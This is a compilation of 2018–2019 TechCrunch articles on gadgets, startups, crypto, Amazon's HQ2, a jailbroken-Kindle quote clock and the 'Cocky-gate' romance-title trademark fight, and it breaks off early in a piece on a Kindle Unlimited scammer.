Flexit lets you pay for gym time on demand

A new company called Flexit lets you pay for gym time by the minute, allowing you to walk into a nearby gym when you’re traveling, for example, and slam out thirty minutes of sweet glute action before dinner. The service is like Uber for gyms in that you only pay for the time you are inside the gym and you don’t need to pay monthly fees or a flat rate per visit.

Created by Michael Rojas, the co-CEO of Iron Grip Barbell Company, the service already has 400 gyms in the United States and plans to expand over the next year. They’ve raised $750,000 in notes.

The company launched today.

“FlexIt’s corporate team has superior industry reach, best-in-class technology and a concept unlike that of its competition,” said CEO Austin Cohen. “FlexIt’s corporate team has deep industry experience in fitness sales and marketing, fitness club ownership, and early-stage venture and venture capital aspects of the business. It’s relationships with C-level leaders at the largest gym chains in the country provide FlexIt with industry insights and access to best position it for success. These relationships have resulted in FlexIt having on-boarded a meaningful club base at a faster rate than any of the competition.”

The fact that Rojas has been selling barbells to gyms for 26 years definitely helped them scale up and the company has gyms in New York, DC, New Jersey, and Illinois as well as three other markets. They are launching an eighth market in two weeks.

Rojas has found that most modern gyms are amenable to the idea and they’re offering everything from classes to personal training via the app. Because it is paid by the minute they also get interesting new data that traditional gym membership plans don’t offer.

“Consumers seek more choice and control over how, when and where they consume, FlexIt is the logical solution to this pain point in the fitness space,” he said.

from Amazon – TechCrunch https://techcrunch.com/2019/01/07/flexit-lets-you-pay-for-gym-time-on-demand/

Steemit, a decentralized sharing system, lays of 70% of staff

Steemit, a distributed app designed to reward content creators, has laid off 70 percent of its staff citing “the weakness of the cryptocurrency market, the fiat returns on our automated selling of STEEM diminishing, and the growing costs of running full Steem nodes.”

The remaining team will focus on reducing server costs by shrinking the size of the Steemit blockchain and slowly the dependence on Amazon AWS instances.

Founder and CEO Ned Scott wrote:

We still believe that Steem can be by far the best, and lowest cost, blockchain protocol for applications and that the improvements that will result from this new direction will make it far better for application sustainability. However, in order to ensure that we can continue to improve Steem, we need to first get costs under control to remain economically sustainable. There’s nothing that I want more now than to survive, to keep steemit.com operating, and keep the mission alive, to make great communities.

Steemit became one of the first working decentralized applications and allowed users to submit content and pay content creators. The Steemit coin, STEEM, has fallen 96 percent from its all-time high and is currently trading at $0.37 USD.

Steemit follows Civil down the decentralized toilet as the idea of idealized decentralized apps rams headfirst with the volatility of the crypto market. Civil, for example, promised to pay journalists for their work and a number of organizations created Civil-based payment programs for writers. With the fall of crypto, however, these organizations have pulled back, sometimes cutting salaries by 70 percent.

I’ve requested clarification on the actual number of layoffs and further plans for the product from Steemit.

WTF is happening to crypto?

from Amazon – TechCrunch https://techcrunch.com/2018/11/28/steemit-a-decentralized-sharing-system-lays-of-70-of-staff/

Lies, damn lies, and HQ2

There are few things certain in our world except for the uplifting tendencies of technology. I’ve spent the past few years trying to prove this to myself, at least, by interviewing hundreds of thinkers on the topic. I’ve come to a singular conclusion: when tech moves into a city, be it an iOS dev shop or a robotic facility for making widgets, things change primarily for the better. Given the recent rush to gain 25,000 or so jobs from Amazon’s HQ2 and the subsequent grumbling by cities passed over, it is difficult to refute this, but I’d like explore it.

Many cities have gained from tech, both historically and recently. Pittsburgh, for example, had a plan to become a tech city back in the early 1990s after seeing the value coming out of Carnegie Mellon and the other universities in town. Anecdotally, Pittsburgh remained a fairly depressed steel town until at least 2000. I recall walking on CMU’s campus one weekend, long after my graduation in 1997, and marveling at how the small school had blossomed thanks to an influx of tech money. Next to halls named after dead and gone thinkers and makers was the Gates building, built with the largesse of the biggest tech maker in recent history. Then Uber moved in and all hell broke loose. In 19997 the Lawrenceville neighborhood was a rundown riverfront redoubt full of brown fields and finely-made hovels. Then Uber landed there. Now it’s become the hub for multiple research and tech companies and the neighborhood has blossomed, even rating it’s own corporation and team of boosters who invite you to dine in a spot once associated with dive bars and non-ironic pierogi. A few weeks ago I enjoyed Nashville hot chicken and Manhattans in what was once a funeral home for steel workers.

In short, having tech brings about what Richard Florida called the “creative class.” This group of makers, be they chefs, artists, coders, or engineers, all come to a place and almost inevitably improve it. In some cases this creative class is disparate, spreading throughout a city like a symbiotic fungus. In other places they are centered in a single neighborhood, working their magic from the core out. I’ve seen this in many places but none more clearly than in Toledo, Ohio or Flint, Michigan where a small core of artists are working mightily to turn a city in ruin into a place to live.

And I understand that all is not rosy in the world urban growth. Uber drivers in creative-classed cities are usually people displaced from their cheap rents by rich hipsters. As a friend noted, when you gentrify a place where to those who cannot afford artisanal kombucha, let alone the rent, go? They are either thrust into the suburbs – an irony that should give cities like Grosse-Point-ringed Detroit pause – or they vanish from view even though they exist in plain sight. Nowhere is this clearer then in the refuse-strewn streets of San Francisco.

Yet cities with deep, systemic problems still debase themselves to get tech jobs. They offer tax abatements, $1 land leases, and produce cloying videos to prove that they, alone, are the hardest working of the bunch. The first and most galling effort appeared when Foxconn, a massive manufacturing company, promised to land like an alien invasion force in rural Wisconsin. The idea there was simple: Foxconn wanted tax cuts in exchange for “creating” “jobs” – scare quotes in both cases necessary. As it had in Brazil before, Foxconn promised more than it could ever deliver. From a previous report:

Foxconn has created only a small fraction of the 100,000 jobs that the government projected, and most of the work is in low-skill assembly. There is little sign that it has catalyzed Brazil’s technology sector or created much of a local supply chain.

Manufacturing jobs are not tech jobs. In the end these true manufacturing jobs will end up going to countries with historically cheap labor pools and Foxconn will use its tax breaks to build a facilities in the US to help it abate future cross-border taxes. The jobs that it will create will be done by robots and only the smartest in these rural counties will get jobs… watching robot arms lift flatscreens off of an assembly line for years. Gone are the days of ubiquitous middle class manufacturing jobs and they will never come back. The sooner the heartland accepts this the better.

So cities turn to true tech. Cities know that tech helps and they bow to its captains of industry. But why won’t tech help cities?

Tech companies reduce inefficiencies. Self-driving car companies are aimed at reducing the number of inefficient truckers on the road. Drone companies are aimed at reducing the number of inefficient postal carriers on the sidewalk. And always-on audio assistants and smart devices are there to reduce our dependence on nearly every facet of a local ecosystem including the local weatherperson, the chef with an empty restaurant but hundreds of Seamless orders, and the local cinema. They know that when they land in a place they take over, much like Wal-Mart did in its early heyday. The benefits of this takeover are myriad but the erosion of culture they bring is catastrophic. Yet mayors still don silly hats and dance a merry jig to get them to move to their blighted areas. After all, it’s far easier than actually doing something.

The answer for cities, then, is to build from within. Pittsburgh didn’t get Uber because it prayed for that rude beast to stalk its shores. It got Uber because it built one of the best robotics programs in the country. Denver and Boulder aren’t tech hubs because they gave anyone a massive abatement. They became tech hubs because they became places that techies wanted to congregate and they built networks of technologists who left their cubicles on a weekly basis and met for lunch. That’s right: in many cases, all it takes for a tech scene to thrive is for the CTOs of all the major organizations to meet over curry. The network effects created by this are manifold. In fact, some of the biggest complaints I heard in many cities was that the CTOs of corporations who called those cities home – Chase Bank, GrubHub, etc. – rarely stepped out of their carefully manicured cubicle farms. An ecosystem cannot thrive if its most successful hide. Just ask Detroit.

Cities must subsidize creative districts, not creative destruction. Cities must woo technologists with a network of rich angels, not bribery. Cities must prepare for a future that doesn’t yet exist and hope that some behemoth will find a home there. Otherwise they’re sunk.

This sort of forward thinking is done in dribs and drabs across the country. Every city has its accelerators full of potential failure. These companies quickly discover that without seed capital, St. Louis or Chicago might as well be the Death Valley. Detroit has worked hard to create a startup culture and it seems to be working but in many cases these startups are folded, Borg-like into Quicken Loans and cannot stand on their own. The south is stuck in energy production and invests little in things that would draw technologists to the beautiful cities along the coast.

Maybe this is because startups make no money. Maybe this is because innovation is expensive. And maybe the lack of long-term strategy exists because mayoral staffs turn over so quickly in these convoluted times. These are valid excuses but woe betide the city that clings to them.

New York and Virginia got HQ2 because their cultures are mercenary at worst and transient at best. They already knew the hard bargain of technology versus culture and were willing to make the deal. The tens of thousands of folks who will walk through Amazon’s doors on the first day will change Long Island City for the better and no other city will claim those benefits (and detriments.) Tech is a business. It doesn’t care where it lands as long as there are enough college-educated behinds to sit on blue inflatable desk balls and enough mouths to drink free nitro coffee. It bypasses places that are seemingly entrenched in political infighting and failed innovation and it will continue to do so until cities do for themselves what Amazon will never do: future-proof their place in the world and create a place for generations to grow and change.

 

Photo by Michael Browning on Unsplash

from Amazon – TechCrunch https://techcrunch.com/2018/11/15/lies-damn-lies-and-tech-focused-tax-breaks/

BoxLock secures your booty against porch pirates

This clever – if expensive – product is called the BoxLock and it is a keyless padlock that lets your package delivery person scan and drop off your packages into a locked box. The system essentially watches for a shipping event and then waits for the right barcode before opening. Once the delivery person scans the package, the lock opens, the delivery person sticks the package in a box or shed (not included) and locks it back up. You then go and grab your package at your leisure.

The lock costs $129.

The company appeared on everyone’s favorite show, Shark Tank, where they demonstrated the system with a fake door and fake UPS dude.

The internal battery lasts 30 days on one charge and it connects to your phone and house via Wi-Fi. While the system does require a box – it’s called BoxLock, after all, not LockBox – it’s a clever solution to those pesky porch pirates who endlessly steal my YorkieLoversBox deliveries.

from Amazon – TechCrunch https://techcrunch.com/2018/10/11/boxlock-secures-your-booty-against-porch-pirates/

KZen raises $4 million to bring sanity to crypto wallets

KZen, a company run by former TC editor Ouriel Ohayon, has raised $4 million in seed to build a “better wallet,” obviously the elusive Holy Grail in the crypto world.

Benson Oak Ventures, Samsung Next, Elron Ventures invested.

Ohayon, who has worked at Internet Lab and founded TechCrunch France and Appsfire, wanted to create an easy-to-use crypto wallet that wouldn’t confound users. The company name is a play on the Japanese word kaizen or improvement and it also points to the idea of the zero-knowledge proof.

Omer Shlomovits, Tal Be’ery, and Gary Benattar are deep crypto researchers and developers and helped build the wallet of Ohayon’s dreams.

“We wanted something that did not feel like a pre-AOL experience, that was incredibly superior in terms of security, and simple to use,” he said. “We wanted a solution that brings peace of mind and that did not force the user into compromising between convenience and security which is, unfortunately, the current state of affairs. We quickly realized that this mission would not be possible to achieve with the same tools and ideas other companies tried to use so far.”

The app is launching this month and is being kept under wraps until then. Ohayon is well aware that the world doesn’t need another crypto wallet but he’s convinced his solution is the best one.

“The market does not lack solutions,” he said. “On the contrary, there are software wallets, hardware wallets, paper wallets, vaults, hosted custody. But there is no great solution. To be able to use a crypto wallet you either need a good dose of Xanax or a master’s degree in computer science or both, unless you want to depend on a central entity, which is even worse as the news are reminding us weekly.”

We’ll see as they use the cash to launch a crypto wallet that anyone – not just Xanax-eaters – can use.

from Amazon – TechCrunch https://techcrunch.com/2018/10/03/kzen-raises-4-million-to-bring-sanity-to-crypto-wallets/

It’s the end of crypto as we know it and I feel fine

Watching the current price madness is scary. Bitcoin is falling and rising in $500 increments with regularity and Ethereum and its attendant ICOs are in a seeming freefall with a few “dead cat bounces” to keep things lively. What this signals is not that crypto is dead, however. It signals that the early, elated period of trading whose milestones including the launch of Coinbase and the growth of a vibrant (if often shady) professional ecosystem is over.

Crypto still runs on hype. Gemini announcing a stablecoin, the World Economic Forum saying something hopeful, someone else saying something less hopeful – all of these things and more are helping define the current market. However, something else is happening behind the scenes that is far more important.

As I’ve written before, the socialization and general acceptance of entrepreneurs and entrepreneurial pursuits is a very recent thing. In the old days – circa 2000 – building your own business was considered somehow sordid. Chancers who gave it a go were considered get-rich-quick schemers and worth of little more than derision.

As the dot-com market exploded, however, building your own business wasn’t so wacky. But to do it required the imprimaturs and resources of major corporations – Microsoft, Sun, HP, Sybase, etc. – or a connection to academia – Google, Netscape, Yahoo, etc. You didn’t just quit school, buy a laptop, and start Snapchat.

It took a full decade of steady change to make the revolutionary thought that school wasn’t so great and that money was available for all good ideas to take hold. And take hold it did. We owe the success of TechCrunch and Disrupt to that idea and I’ve always said that TC was career pornography for the cubicle dweller, a guilty pleasure for folks who knew there was something better out there and, with the right prodding, they knew they could achieve it.

So in looking at the crypto markets currently we must look at the dot-com markets circa 1999. Massive infrastructure changes, some brought about by Y2K, had computerized nearly every industry. GenXers born in the late 70s and early 80s were in the marketplace of ideas with an understanding of the Internet the oldsters at the helm of media, research, and banking didn’t have. It was a massive wealth transfer from the middle managers who pushed paper since 1950 to the dot-com CEOs who pushed bits with native ease.

Fast forward to today and we see much of the same thing. Blockchain natives boast about having been interest in bitcoin since 2014. Oldsters at banks realize they should get in on things sooner than later and price manipulation is rampant simply because it is easy. The projects we see now are the Kozmo.com of the blockchain era, pie-in-the-sky dream projects that are sucking up millions in funding and will produce little in real terms. But for every hundred Kozmos there is one Amazon.

And that’s what you have to look for.

Will nearly every ICO launched in the last few years fail? Yes. Does it matter?

Not much.

The market is currently eating its young. Early investors made (and probably lost) millions on early ICOs but the resulting noise has created an environment where the best and brightest technical minds are faced with not only creating a technical product but also maintaining a monetary system. There is no need for a smart founder to have to worry about token price but here we are. Most technical CEOs step aside or call for outside help after their IPO, a fact that points to the complexity of managing shareholder expectations. But what happens when your shareholders are 16-year-olds with a lot of Ethereum in a Discord channel? What happens when little Malta becomes the de facto launching spot for token sales and you’re based in Nebraska? What happens when the SEC, FINRA, and Attorneys General from here to Beijing start investigating your hobby?

Basically your hobby stops becoming a hobby. Crypto and blockchain has weaponized nerds in an unprecedented way. In the past if you were a Linux developer or knew a few things about hardware you could build a business and make a little money. Now you can build an empire and make a lot of money.

Crypto is falling because the people in it for the short term are leaving. Long term players – the Amazons of the space – have yet to be identified. Ultimately we are going to face a compression in the ICO and, for a while, it’s going to be a lot harder to build an ICO. But give it a few years – once the various financial authorities get around to reading the Satoshi white paper – and you’ll see a sea change. Coverage will change. Services will change. And the way you raise money will change.

VC used to be about a team and a dream. Now it’s about a team, $1 million in monthly revenue, and a dream. The risk takers are gone. The dentists from Omaha who once visited accelerator demo days and wrote $25,000 checks for new apps are too shy to leave their offices. The flashy VCs from Sand Hill have to keep Uber and Airbnb’s plates spinning until they can cash out. VC is dead for the small entrepreneur.

Which is why the ICO is so important and this is why the ICO is such a mess right now. Because everybody sees the value but nobody – not the SEC, not the investors, not the founders – can understand how to do it right. There is no SAFE note for crypto. There are no serious accelerators. And all of the big names in crypto are either goldbugs, weirdos, or Redditors. No one has tamed the Wild West.

They will.

And when they do expect a whole new crop of Amazons, Ubers, and Oracles. Because the technology changes quickly when there’s money, talent, and a way to marry the two in which everyone wins.

from Amazon – TechCrunch https://techcrunch.com/2018/09/13/its-the-end-of-crypto-as-we-know-it-and-i-feel-fine/

This hack turns your old Kindle into a clock

If you have an old Kindle e-reader lying about then you’d best dig it up. This cool hack can turn your dead e-reader into a living clock that scours hundreds of books for exact times and displays the current time in a quote. It updates once a minute.

The project, available on Instrucables, requires a jailbroken Kindle and little else. The app uses quotes collected by the Guardian for an art project and includes writing from Charles Bukowski to Shakespeare.

Creator Jaap Meijers writes:

My girlfriend is a *very* avid reader. As a teacher and scholar of English literature, she reads eighty books per year on average.

On her wishlist was a clock for our living room. I could have bought a wall clock from the store, but where is the fun in that? Instead, I made her a clock that tells the time by quoting time indications from literary works, using an e-reader as display, because it’s so incredibly appropriate :-)

Given that our family is apparently on our fifteenth Kindle in the household it only makes sense to repurpose one of these beasts into something useful. Don’t have a Kindle? You can visit a web-based version here.

from Amazon – TechCrunch https://techcrunch.com/2018/08/06/this-hack-turns-your-old-kindle-into-a-clock/

Body scanning app 3DLOOK raises $1 million to measure your corpus

3D body scanning systems have hit the big time after years of stops and starts. Hot on the heels of Original Stitch’s Bodygram, another 3D scanner, 3DLOOK, has entered into the fray with a $1 million investment to measure bodies around the world.

The founders, Vadim Rogovskiy, Ivan Makeev, and Alex Arapovd, created 3DLOOK when they found that they could measure a human body using just a smartphone. The team found that other solutions couldn’t let them measure fits with any precision and depended on expensive hardware.

“After more than six years of building companies in the ad tech industry I wanted to build something new which was not a commodity,” said Rogovskiy. “I wanted to overcome growth obstacles and I learned that the apparel industry had mounting return problems in e-commerce. 3DLOOK’s co-founders spent over a year on pure R&D and testing new approaches and combinations of different technologies before creating SAIA (Scanning Artificial Intelligence for Apparel) in 2016.”

The team raised $400,000 to date and most recently raised a $1 million seed round to grow the company.

The team also collects “fit profiles” and is able to supply these profiles based on “geographic location, age, and gender groups.” This means that 3DLOOK can give you exact sizes based on your scanned measurements and tell you how clothes will fit on your body. They have 20,000 profiles already and are working with eight paying customers and five large enterprise systems. Lemonade Fashion and Koviem are both using the platform.

“3DLOOK is the first company that managed to build a technology that allows capturing human body measurements with just two casual photos, and plans to disrupt the market of online apparel sales, offering brands and small stores an API for desktop and SDK for mobile to gather clients measurements and build custom clothing proposals,” said Rogovskiy. “Additionally, the company collects the database of human body measurements so that brands could build better clothing for all types of body and solve fit and return problems. It will not only allow stores to sell more apparel, it will allow people get the quality apparel.”

3D scanners have gotten better and better over the years and it’s interesting to see companies being able to scan bodies just from a few photos. While these things can’t account for opinions of taste they can definitely make sure that your clothes fit before you order them.

from Amazon – TechCrunch https://techcrunch.com/2018/07/30/body-scanning-app-3dlook-raises-1-million-to-measure-your-corpus/

When In Rome is the first Alexa-powered board game

Years ago, in the heyday of home video, I played a boardgames that used VHS tapes and electronic parts to help spur the action along. From Candy Land VCR to Captain Power, game makers were doing the best they could with a new technology. Now, thanks to Alexa, they can try something even cooler – board games that talk back.

The first company to try this is Sensible Object. Their new game, When In Rome, is a family board game that pits two teams against each other in a race to travel the world. The game itself consists of a board and a few colored pieces and the real magic comes from Alexa. You start the game by enabling the When In Rome skill and then you start the game. Alexa then prompts you with questions as you tool around the board.

The rules are simple because Alexa does most of the work. The game describes how to set up the board and gets you started and then you just trigger with your voice it as you play.

The company’s first game, Beasts of Balance, was another clever hybrid of AR and real life board game action. Both games are a bit gimmicky and a bit high tech – you won’t be able to play these in a cozy beach house without Internet, for example – but it’s a fun departure from the norm.

Like the VCR games of yore, When In Rome depends on a new technology to find a new way to have fun. It’s a clever addition to the standard board game fare and our family had a good time playing it. While it’s not as timeless as a bit of Connect 4 or Risk, it’s a great addition to the boardgames shelf and a cool use of voice technology in gaming.

from Amazon – TechCrunch https://techcrunch.com/2018/07/16/when-in-rome-is-the-first-alexa-powered-board-game/

Digging deeper into smart speakers reveals two clear paths

In a truly fascinating exploration into two smart speakers – the Sonos One and the Amazon Echo – BoltVC’s Ben Einstein has found some interesting differences in the way a traditional speaker company and an infrastructure juggernaut look at their flagship devices.

The post is well worth a a full read but the gist is this: Sonos, a very traditional speaker company, has produced a good speaker and modified its current hardware to support smart home features like Alexa and Google Assistant. The Sonos One, notes Einstein, is a speaker first and smart hardware second.

“Digging a bit deeper, we see traditional design and manufacturing processes for pretty much everything. As an example, the speaker grill is a flat sheet of steel that’s stamped, rolled into a rounded square, welded, seams ground smooth, and then powder coated black. While the part does look nice, there’s no innovation going on here,” he writes.

The Amazon Echo, on the other hand, looks like what would happen if an engineer was given an unlimited budget and told to build something that people could talk to. The design decisions are odd and intriguing and it is ultimately less a speaker than a home conversation machine. Plus it is very expensive to make.

Pulling off the sleek speaker grille, there’s a shocking secret here: this is an extruded plastic tube with a secondary rotational drilling operation. In my many years of tearing apart consumer electronics products, I’ve never seen a high-volume plastic part with this kind of process. After some quick math on the production timelines, my guess is there’s a multi-headed drill and a rotational axis to create all those holes. CNC drilling each hole individually would take an extremely long time. If anyone has more insight into how a part like this is made, I’d love to see it! Bottom line: this is another surprisingly expensive part.

Sonos, which has been making a form of smart speaker for fifteen years, is a CE company with cachet. Amazon, on the other hand, sees its devices as a way into living rooms and a delivery system for sales and is fine with licensing its tech before making its own. Therefore to compare the two is a bit disingenuous. Einstein’s thesis that Sonos’ trajectory is troubled by the fact that it depends on linear and closed manufacturing techniques while Amazon spares no expense to make its products is true. But Sonos makes speakers that work together amazingly well. They’ve done this for a decade and a half. If you compare their products – and I have – with competing smart speakers an non-audiophile “dumb” speakers you will find their UI, UX, and sound quality surpass most comers.

Amazon makes things to communicate with Amazon. This is a big difference.

Where Einstein is correct, however, is in his belief that Sonos is at a definite disadvantage. Sonos chases smart technology while Amazon and Google (and Apple, if their HomePod is any indication) lead. That said, there is some value to having a fully-connected set of speakers with add-on smart features vs. having to build an entire ecosystem of speaker products that can take on every aspect of the home theatre.

On the flip side Amazon, Apple, and Google are chasing audio quality while Sonos leads. While we can say that in the future we’ll all be fine with tinny round speakers bleating out Spotify in various corners of our room, there is something to be said for a good set of woofers. Whether this nostalgic love of good sound survives this generation’s tendency to watch and listen to low resolution media is anyone’s bet, but that’s Amazon’s bet to lose.

Ultimately Sonos is strong and fascinating company. An upstart that survived the great CE destruction wrought by Kickstarter and Amazon, it produces some of the best mid-range speakers I’ve used. Amazon makes a nice – almost alien – product, but given that it can be easily copied and stuffed into a hockey puck that probably costs less than the entire bill of materials for the Amazon Echo it’s clear that Amazon’s goal isn’t to make speakers.

Whether the coming Sonos IPO will be successful depends partially on Amazon and Google playing ball with the speaker maker. The rest depends on the quality of product and the dedication of Sonos users. This good will isn’t as valuable as a signed contract with major infrastructure players but Sonos’ good will is far more than Amazon and Google have with their popular but potentially intrusive product lines. Sonos lives in the home while Google and Amazon want to invade it. That is where Sonos wins.

from Amazon – TechCrunch https://techcrunch.com/2018/07/09/digging-deeper-into-smart-speakers-reveals-two-clear-paths/

The Sonos Beam is the soundbar evolved

Sonos has always gone its own way. The speaker manufacturer dedicated itself to network-connected speakers before there were home networks and they sold a tablet-like remote control before there were tablets. Their surround sound systems install quickly and run seamlessly. You can buy a few speakers, tap a few buttons, and have 5.1 sound in less time than it takes to pull a traditional home audio system out of its shipping box.

This latest model is an addition to the Sonos line and is sold alongside the Playbase – a lumpen soundbar designed to sit directly underneath TVs not attached to the wall – and the Playbar, a traditionally-styled soundbar that preceded the Beam. Both products had all of the Sonos highlights – great sound, amazing interfaces, and easy setup – but the Base had too much surface area for more elegant installations and the Bar was too long while still sporting an aesthetic that harkened back to 2008 Crutchfield catalogs.

The $399 Beam is Sonos’ answer to that and it is more than just a pretty box. The speaker includes Alexa – and promised Google Assistant support – and it improves your TV sound immensely. Designed as an add-on to your current TV, it can stand alone or connect with the Sonos subwoofer and a few satellite surround speakers for a true surround sound experience. It truly shines alone, however, thanks to its small size and more than acceptable audio range.

To use the Beam you bring up an iOS or Android app to display your Spotify, Apple Music, Amazon, and Pandora accounts (this is a small sampling. Sonos supports more.) You select a song or playlist and start listening. Then, when you want to watch TV, the speaker automatically flips to TV mode – including speech enhancement features that actually work – when the TV is turned on. An included tuning system turns your phone into a scanner that improves the room audio automatically.

The range is limited by the Beam’s size and shape and there is very little natural bass coming out of this thing. However, in terms of range the Beam is just fine. It can play an action movie with a bit of thump and then go on to play some light jazz or pop. I’ve had some surprisingly revelatory sessions with the Beam when listening to classic rock and more modern fare and it’s very usable as a home audio center.

The Beam is two feet long and 3 inches tall. It comes in black or white and is very unobtrusive in aly home theatre setup. Interestingly, the product supports HDMI-ARC aka HDMI Audio Return Channel. This standard, introduced in TVs made in the past five years, allows the TV to automatically output audio and manage volume controls via a single HDMI cable. What this means, however, is you’re going to have a bad time if you don’t have HDMI-ARC.

Sonos includes an adapter that can also accept optical audio output but setup requires you to turn off your TV speakers and route all the sound to the optical out. This is a bit of a mess and if you don’t have either of those outputs – HDMI-ARC or optical – then you’re probably in need of a new TV. That said, HDMI-ARC is a bit jarring for first timers but Sonos is sure that enough TVs support it that they can use it instead of optical-only.

The Beam doesn’t compete directly with other “smart” speakers like the HomePod. It is very specifically a consumer electronics device, even though it supports AirPlay 2 and Alexa. Sonos makes speakers and good ones at that and that goal has always been front and center. While other speakers may offer a more fully-featured sound in a much smaller package, the Beam offers both great TV audio and great music playback for less than any other higher end soundbar. Whole room audio does get expensive – about $1,200 for a Sub and two satellites – but you can simply add on pieces as you go. One thing, however, is clear: Sonos has always been the best wireless speaker for the money and the Beam is another win for the scrappy and innovative speaker company.

[gallery ids="1663460,1663461,1663462,1663463"] [gallery ids="1663385,1663386,1663388"]

from Amazon – TechCrunch https://techcrunch.com/2018/06/27/the-sonos-beam-is-the-soundbar-evolved/

Anker Mars II projector promises solid summer fun

Anker, a popular if battery and cable company, recently announced the Mars II projector under its Nebula brand. The company, which primarily sells via Amazon, is expanding out of batteries and cables and is now creating audio and other portable AV gear. This compact, battery-powered DLP projector is their latest creation and it has found a place of honor at our family barbecues.

The projector is actually an Android 7.1 device stuffed into a case about as big as a Bluetooth speaker. A physical lens cap slides down and turns on the system and you control everything from he included remote or the buttons on the top of the device. You can also download an app that mimics a mouse and keyboard for choosing videos and information entry. It projects at a maximum of 300 lumens and projects at 720p. You can also connect an HDMI device like a game console or stick in a USB drive full of videos to view on the fly.

Again, the real benefit here is the ability to stream from various apps. I have YouTube, Netflix, Plex, and other apps installed and you can install almost any other Android app you can imagine. It has speakers built in and you can cast to it via Miracast but you cannot insert a Chromecast.

If all you want to do is throw up a little Santa Clarita Diet or Ice Age on a sheet in the back yard, this thing is perfect. Because the brightness is fairly low you need solid twilight or a partially dark room to get a good picture. However, the picture is good enough and it would also make a great presentation device for a closed, dark conference room. Because of its small size and battery life – four hours on a charge – it makes for a great alternative to a full-sized projector or even a standard TV.

At $539 the Mars II is priced on par with other 720p projectors. The primary use case – connecting a computer or console via HDMI – works quite well but streaming user experience is a bit of a mixed bag. Because Anker didn’t modify the Android installation much further than adding a few default apps, some apps require a mouse to use and others can be controlled via the arrow keys on the remote or body of the device. This means that some apps – like Plex, for example – let you pick a video via the arrow keys but require you to press the “mouse” button to begin simulating a mouse cursor on the screen. It’s a bit frustrating, especially in poor lighting conditions.

One of the interesting features is the automatic focus system. Instead of fiddling with a knob or slider, you simply point this at a surface and the system projects a bullseye focus ring until the picture is in focus. The focus changes any time you move the device and sometimes it gets caught up if the screen or projector are moving. However in most cases it works perfectly fine.

Like most portable projectors you aren’t buying the Mars II to watch 4K video in 5.1 surround sound. You buy it to offer an alternative to sitting on the couch and watching a movie. That means this is great for on-the-road business presentations, campouts, outdoor movie viewing, and sleepovers. It is cheap and portable enough to be almost disposable and it’s not as heavy and hot as other, larger devices. In short, it can go anywhere, show anything, and works really well. Anker also makes the Mars, a more expensive 1080p device, but this one works just fine for about $400 less – a big drop in just about a year of brisk sales. It’s nice to see a good, low-cost manufacturer dabble in the world of complex consumer electronics and come up with a product that is truly useful and fun.

[gallery ids="1662668,1662666,1662665,1662662,1662661"]

from Amazon – TechCrunch https://techcrunch.com/2018/06/25/anker-mars-ii-projector-promises-solid-summer-fun/

The long Cocky-gate nightmare is over

I’ve been wanting to write about Cocky-gate for some time now but the story – a row between self-published authors that degenerated into ridiculousness – seems finally over and perhaps we can all get some perspective. The whole thing started in May when a self-published romance author, Faleena Hopkins, began attempting to enforce her copyright on books that contained “cocky” in the title. This included, but was not limited to, Cocky Cowboy, Cocky Biker, and Cocky Roomie, all titles in Hopkins oeuvre.

Hopkins filed a trademark for the use of the word Cocky in romance titles and began attacking other others who used the word cocky, including Jamila Jasper who wrote a book called Cocky Cowboy and received an email from Hopkins.

After taking up the cause on Twitter and creating a solid example of Streisand Effect, Jasper changed the title of her book to The Cockiest Cowboy To Have Ever Cocked. But other authors were hit by cease and desist letters and even Amazon stepped in briefly as well and took down multiple titles for a short time.

From the Guardian:

Pajiba reported on Monday that the author Nana Malone had been asked to change the title of her novel Mr Cocky, while TL Smith and Melissa Jane’s Cocky Fiancé has been renamed Arrogant Fiancé. Other writers claimed that Hopkins had reported them to Amazon, resulting in their books being taken down from the site.

This went on for a number of weeks with the back and forth verging on the comical…

Hubby: What ya doin' honey?
Me: Working on a dystopian short story inspired by #cockygate.
Hubby: Is it called The Cocky Were-Rooster?
Me:…
Me: Dammit! Now I have to write that!

True Story.
It wound up being "Diary of a Cocky Werecock" https://t.co/qU5XR4Ol4g

— Lara Grey (@authorlaragrey) June 16, 2018

to the serious.

I am so freakin' pissed. Candace Blevins' new book, Cocky Queen, was removed from B&N, iBooks, and Kobo.

IT'S NOT EVEN IN ROMANCE, IT'S WOMEN'S FICTION! #CockyGate pic.twitter.com/LkXl9Ypo3w

— Bianca-Quietly Loud-Sommerland (@BSommerland) June 18, 2018

Hopkins went to court to defend her trademark and then bumped up against the powerful Author’s Guild who supported three defendants including a publicist who was incorrectly named as the publisher of one of the offending titles, The Cocktales Anthology.

“Beyond the obvious issues with the merits, it is evident from the face of the complaint that Plaintiffs failed to conduct a reasonable pre-filing investigation before racing to the courthouse. Indeed, the number and extent of defects alone call into question whether the filing was made in good faith. Plaintiffs’ lack of due diligence failed to uncover the stark difference between a publisher and a publicist, i.e., non-party best-selling author Penny Reid is the former, while Defendant Jennifer Watson is the latter (Ms. Watson’s website even states that she provides “publicist and marketing services” and nowhere indicates that she writes or publishes books),” wrote Judge Alvin Hellerstein of the Southern District of New York. “In sum, there is nothing meritorious about Plaintiffs’ situation, let alone urgent or irreparable. Defendant Watson cannot offer Plaintiffs the relief they seek as she bears no responsibility for The Cocktales Anthology they wish to enjoin from further publication. Defendant Crescent’s first allegedly infringing book was published over nine months ago. Plaintiffs have admitted that her use of “cocky” in titles would not likely cause confusion as to source or affiliation; moreover, she has publicly stated that she has not suffered lost sales.”

Online communities are wonderful but precarious things. One or two attacks by bad – or even well-meaning – actors can tip them over the edge and ruin them for everyone. In fact, Cocky-gate has encouraged other authors to try this tactics. One writer, Michael-Scott Earle, has attempted to register the words “Dragon Slayer” in a book title and there is now a Twitter bot that hunts for USPTO applications for words in titles.

Now that the cocky has been freed, however, it looks like the romance writers of the world are taking advantage of the opportunity to share their own cocky stories.

COCKY QUICKIES

You’ve heard about the scandal, you’ve read all of the reports. Now it’s time to forget all that hoopla and dive into these short, emotionally charged reads filled with cocky men and women in Cocky Quickies. https://t.co/Wi81M6SnXO #cocky #cockygate pic.twitter.com/UEirCxRdzC

— ღ Nicole Morgan ღ (@AuthorNicMorgan) June 17, 2018

from Amazon – TechCrunch https://techcrunch.com/2018/06/18/the-long-cocky-gate-nightmare-is-over/

Notorious Kindle Unlimited abuser has been booted from the bookstore

A few levels past the bestsellers and sci-fi/romance/adventure titles on Kindle Unlimited, in the darkest corners of the Kindle Direct Publishing market, there are books that are made entirely out of garbage designed to make scammers hundreds of dollars a day. One user, who called his or herself Chance Carter, was one of the biggest abusers of the KDP system and, more important, made over $15 per book they uploaded to the system, over and over, for books that contained no real content.

